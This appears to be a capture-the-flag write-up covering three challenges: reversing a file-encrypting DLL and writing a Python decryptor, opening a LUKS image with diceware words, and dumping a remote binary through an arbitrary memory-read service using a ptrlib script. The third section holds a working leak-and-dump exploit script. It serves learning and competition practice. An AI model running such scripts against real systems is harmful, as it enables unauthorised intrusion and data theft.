[Reversing 150pts] sendhalp

Description: Oh no! All the files on our workstation have been encrypted! Thankfully, we found the .dll file that was used, and a logfile:
... TODO(remove_debugging) MAC Address: 08:00:27:07:3d:f6 TODO(remove_debugging) Hostname: FLAGSVR (7) TODO(remove_debugging) CPUID: AMDisbetter! ... Can you decrypt it?
File: libsendhalp.dll, flag.txt.enc

The dll has some export functions, one of them is encrypt.

INT WINAPI encrypt(LPCSTR filepath_input, LPCSTR filepath_output);

It reads the input file and store the contents into the heap. And it gets the MAC address, the hostname, and the cpu vendor by calling GetAdaptersInfo, GetComputerName, and cpuid (assembly) respectively. Those information and the pointer to the input buffer, output buffer are passes to a function. (I named it EncryptBuffer.)

VOID EncryptBuffer(CHAR *cpuid, CHAR *hostname, PIP_ADAPTER_INFO adapter_info, CHAR *inputBuffer, INT len_hostname, CHAR *outputBuffer);

The overview of the encrypt function is like this:

INT read_bytes;
INT mac_addr[6];
INT len_hostname;
CHAR cpuid[12]:
CHAR hostname[0x80];
hInputFile = CreateFileA(filepath_input, GENERIC_READ, NULL, NULL, CREATE_ALWAYS, NULL, NULL);
hOutputFile = CreateFileA(filepath_output, GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, NULL, NULL);
if (hOutputFile == INVALID_HANDLE_VALUE || hInputFile == INVALID_HANDLE_VALUE) {
    fprintf(hLogFile, "Couldn't open file! %d\n", GetLastError());
    return;
}
INT filesize = GetFileSize(hInputFile, NULL) + 1;
CHAR *lpBuffer1 = HeapAlloc(GetProcessHeap(), 0, filesize);
CHAR *lpBuffer2 = HeapAlloc(GetProcessHeap(), 0, filesize);
ReadFile(hInputFile, lpBuffer1, filesize, &read_bytes);
lpBuffer1[filesize] = 0;
MyGetAdaptersInformation(&mac_addr);
fprintf(hLogFile, "TODO(remove_debugging) MAC Address: %02x:%02x:%02x:%02x:%02x:%02x",
  mac_addr[0], mac_addr[1], mac_addr[2], mac_addr[3], mac_addr[4], mac_addr[5]
);
GetComputerNameA(hostname, &len_hostname);
fprintf(hLogFile, "TODO(remove_debugging) Hostname: %s (%d)\n", hostname, len_hostname);
__asm__( "cpuid"
             : "=a" (NULL), "=b" (cpuid), "=c" (cpuid+4), "=d" (cpuid+8)
             : "0" (0) );
fprintf(hLogFile, "TODO(remove_debugging) CPUID: %s\n", cpuid);
EncryptBuffer(cpuid, hostname, mac_addr, lpBuffer2, len_hostname, lpBuffer1);
WriteFile(hOutputFile, lpBuffer2, filesize, &read_bytes);
HeapFree(GetProcessHeap(), 0, lpBuffer2);
HeapFree(GetProcessHeap(), 0, lpBuffer1);
CloseHandle(hOutputFile);
CloseHandle(hInputFile);

It seems the gathered information are used for file encryption. We know what they are from the challenge description.

The following is the overview of EncryptBuffer function.

CHAR localBuffer[0x100];
ScrambleBuffer(localBuffer, 6, mac_addr);
ScrambleBuffer(localBuffer, len_hostname, hostname);
ScrambleBuffer(localBuffer, 12, cpuid);
MakeBufferEncrypted(localBuffer, lpBuffer1, lpBuffer2);

The function ScrambleBuffer (I named it) prepares a buffer by using the input data.

VOID ScrambleBuffer(CHAR* localBuffer, INT datasize, CHAR *data) {
  int i;
  for(i = 0; i < 0xf9; i++) {
      localBuffer[i] = i;
  }
  int w = 0;
  for(i = 0; i < 0xf9; i++) {
      w = (w + data[i % datasize] + localBuffer[i]) % 0xf9;
      // swap the characters at i and w
      localBuffer[i] ^= localBuffer[w];
      localBuffer[w] ^= localBuffer[i];
      localBuffer[i] ^= localBuffer[w];
  }
}

As you can understand from the code, the given localBuffer is initialized first. This means the first two call of ScrambleBuffer in EncryptBuffer is meaningless. So, the necessary information to decrypt the file is only the cpuid, which is "AMDisbetter!" here.

Anyway, let's analyse the last function MakeBufferEncrypted. (Sorry for the terrible name...)

VOID MakeBufferEncrypted(CHAR *localBuffer, CHAR *lpBuffer1, CHAR *lpBuffer2) {
  int len = strlen(lpBuffer1);
  int i, w = 0;
  for(i = 0; ; i++) {
      w = (w + localBuffer[(i + 1) % 0xf9]) % 0xf9;
      localBuffer[i + 1] ^= localBuffer[w];
      localBuffer[w] ^= localBuffer[i + 1];
      localBuffer[i + 1] ^= localBuffer[w];
      lpBuffer2[i] ^= lpBuffer1[i] ^ localBuffer[(localBuffer[w] + localBuffer[i+1]) % 0xf9];
  }
}

It seems messy. I wrote a script to decrypt the encoded file.

def ScrambleBuffer(key, length):
    buf = [i for i in range(0xf9)]
    w = 0
    for i in range(0xf9):
        w = (w + key[i % length] + buf[i]) % 0xf9
        buf[i], buf[w] = buf[w], buf[i]
    return buf

with open("flag.txt.enc", "rb") as f:
    cipher = map(ord, list(f.read()))
key = "AMDisbetter!"

# Prepare scrambled localBuffer
buf = ScrambleBuffer(map(ord, list(key)), 12)

# Set localBuffer state after encryption
length = len(cipher)
w = 0
for i in range(length):
    w = (w + buf[(i + 1) % 0xf9]) % 0xf9
    buf[i+1], buf[w] = buf[w], buf[i+1]

# Decrypt
lpBuffer2 = list(cipher)
lpBuffer1 = [0x00 for i in range(length)]
for i in range(length - 1, -1, -1):
    print(w, buf[i+1], buf[i], i)
    lpBuffer1[i] ^= lpBuffer2[i] ^ buf[(buf[w] + buf[i+1]) % 0xf9]
    buf[i+1], buf[w] = buf[w], buf[i+1]
    w = (w - buf[(i + 1) % 0xf9]) % 0xf9

b = ''.join(map(chr, lpBuffer1))
print(repr(b))
with open("binary", "wb") as f:
    f.write(b)

The result is:

Congratulations!

The flag is: CTF{i_can_windows}

[Forensics 50pts] goodluks1

Description: We've recovered an encrypted disk image from an insider threat. While he won't give up the passphrase, we think the post-it note is related.
File: goodluks1.7z, goodluks1.jpeg

There is a disk image in the 7zip archive and it's encrypted with LUKS. And in the jpeg image is the picture of a keyboard, a memo and two dice on the memo. The memo says:

Renew EFF membership!
66135
65263
31234
52253
35536
42235

These numbers looks like senary-based but I had no idea at first. As I did a deep search on the word EFF, I found this page. So, I did a search for 66135 from the search bar of the page and found this wordlist. The wordlist has senary-based numbers for each words, bingo!

Each numbers written in the memo corresponds to:

66135 wages
65263 upturned
31234 flogging
52253 rinse
35536 landmass
42235 number

I tried several combination and found the correct password wages upturned floggin rinse landmass number.

# cryptsetup luksOpen luks1.img goodluks1

As I entered the password, the image was mounted to /dev/mapper/goodluks1 and I found the flag in it.

[Reversing 250pts] dribbles

Description: You'll have to "dribble" some information out for this one...
Location - dribbles-c4d3cee3.challenges.bsidessf.net:9999

I was really close to the answer but couldn't make it to the end during the competition. Anyway, the challenge doesn't give any file even though it's a reversing challenge. We can resolve 3 symbols and leak the memory of arbitrary addresses.

$ nc dribbles-c4d3cee3.challenges.bsidessf.net 9999
[1/3] Resolve symbol> system
system (buf@0x7ffda7e92710) = 0x7ffb5a8a4480
[2/3] Resolve symbol> puts
puts (buf@0x7ffda7e92710) = 0x7ffb5a8cdf90
[3/3] Resolve symbol> main
main (buf@0x7ffda7e92710) = 0x55e1cf05e3a9
Provide address and number of bytes to read> 0x7ffda7e92710 32
0x7ffda7e92710:  30 78 37 66 66 64 61 37  65 39 32 37 31 30 20 33 
0x7ffda7e92720:  32 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 
Provide address and number of bytes to read>

So, I made a script which dumps the binary by guessing the process load address. Even though ASLR and PIE enabled, we can guess the load address since it's loaded somewhere like 0x?????????????000.

from ptrlib import *
import re
import os

sock = Socket("dribbles-c4d3cee3.challenges.bsidessf.net", 9999)

symbols = ["stdin", "system", "main"]
addr_symbols = []

# leak three
for symbol in symbols:
    sock.recvuntil("symbol>")
    sock.sendline(symbol)
    l = sock.recvline()
    r = re.findall(b"\(buf@0x([0-9a-f]+)\) = 0x([0-9a-f]+)", l)
    if not r:
        print(l)
        exit(1)
    addr_buf = int(r[0][0], 16)
    addr_symbols.append(int(r[0][1], 16))

dump("&buf = " + hex(addr_buf))
for symbol, addr_symbol in zip(symbols, addr_symbols):
    dump("&{0} = {1}".format(symbol, hex(addr_symbol)))

elf = b''
buf = b''
proc_base = addr_symbols[2] & 0xfffffffffffff000 - 0x1000
read_byte = 16
sock.recvuntil("read>")
sock.sendline(str(proc_base) + " " + str(read_byte))
l = sock.recvline()
r = re.findall(b"([0-9a-f]{2}) ", l)
elf = b''.fromhex(bytes2str(b''.join(r)))
assert elf[:4] == b'\x7fELF'

if os.path.exists("./elf2"):
    known = os.path.getsize("./elf2")
    elf = b''
else:
    known = 0
proc_base += known - 8

bs = 20
proc_base += 8
read_byte = 16 * bs
end = False
while not end:
    dump("Dumping {}...".format(hex(proc_base)))
    sock.recvuntil("read>")
    sock.sendline(str(proc_base) + " " + str(read_byte))
    for i in range(bs):
        try:
            l = sock.recvline()
        except:
            end = True
            break
        r = re.findall(b"([0-9a-f]{2}) ", l)
        if not r:
            print(l)
            end = True
            break
        for i in range(len(r)):
            if len(r[i]) != 2:
                r[i] = r[-2:]
        elf += b''.fromhex(bytes2str(b''.join(r)))
    proc_base += read_byte

with open("elf2", "ab") as f:
    f.write(elf)

sock.close()

I could sucessfully get the binary for this challenge. It was broken (because it's the image of a running process) but IDA loaded most part of it correctly.

As I looked into the program, I found a function named read_flag. It loads the contents of flag.txt into heap by calling mmap.

f:id:ptr-yudai:20190305181927p:plain

As you can understand from the flow graphs above and below, it XORs the address of the allocated heap with a key.

f:id:ptr-yudai:20190305182021p:plain

However, I somehow misunderstood that it xors the contents of the flag with a key and couldn't find anything.

The key is a global variable and we can get it by resolving the address of __bss_start.

[3/3] Resolve symbol> __bss_start
__bss_start (buf@0x7ffe2f982690) = 0x55c61cf25098
Provide address and number of bytes to read> 0x55c61cf25098 32
0x55c61cf25098:  00 76 ffffffd0 ffffffe2 30 7f 00 00  00 00 00 00 00 00 00 00 
0x55c61cf250a8:  55 55 55 55 55 55 55 55  00 00 00 00 00 00 00 00

Or, you can find the key is set to U by analysing the leaked binary. We can get the address in which the xored address is stored because we have the address for buf. (Or, we can also leak the stack address using the libc variable environ.)

main (buf@0x7ffe630acc40) = 0x56287236b3a9
Provide address and number of bytes to read> 0x7ffe630acc40 640
...
0x7ffe630accf0:  00 00 00 00 00 00 00 00  10 00 ffffffce 73 28 56 00 00
...

As we look into the address, we will find data like this:

Provide address and number of bytes to read> 0x562873ce0010 16
0x562873ce0010:  01 00 00 00 00 00 00 00  55 ffffffd5 58 ffffff94 23 2a 55 55

It's obviously what we are looking for. The first 8 bytes are set to 1, and the following 8 bytes look like xored with 0x55! So, let's xor the data with 0x5555555555555555 and see what's stored there.

Provide address and number of bytes to read> 0x7f76c10d0000 64
0x7f8e59e8e000:  43 54 46 7b 52 65 61 64  69 6e 67 5f 4f 6e 65 5f 
0x7f8e59e8e010:  50 61 67 65 5f 41 74 5f  41 5f 54 69 6d 65 7d 0a 
0x7f8e59e8e020:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 
0x7f8e59e8e030:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00

Yay! Found the flag!

CTF{Reading_One_Page_At_A_Time}

I should have read the binary more carefully......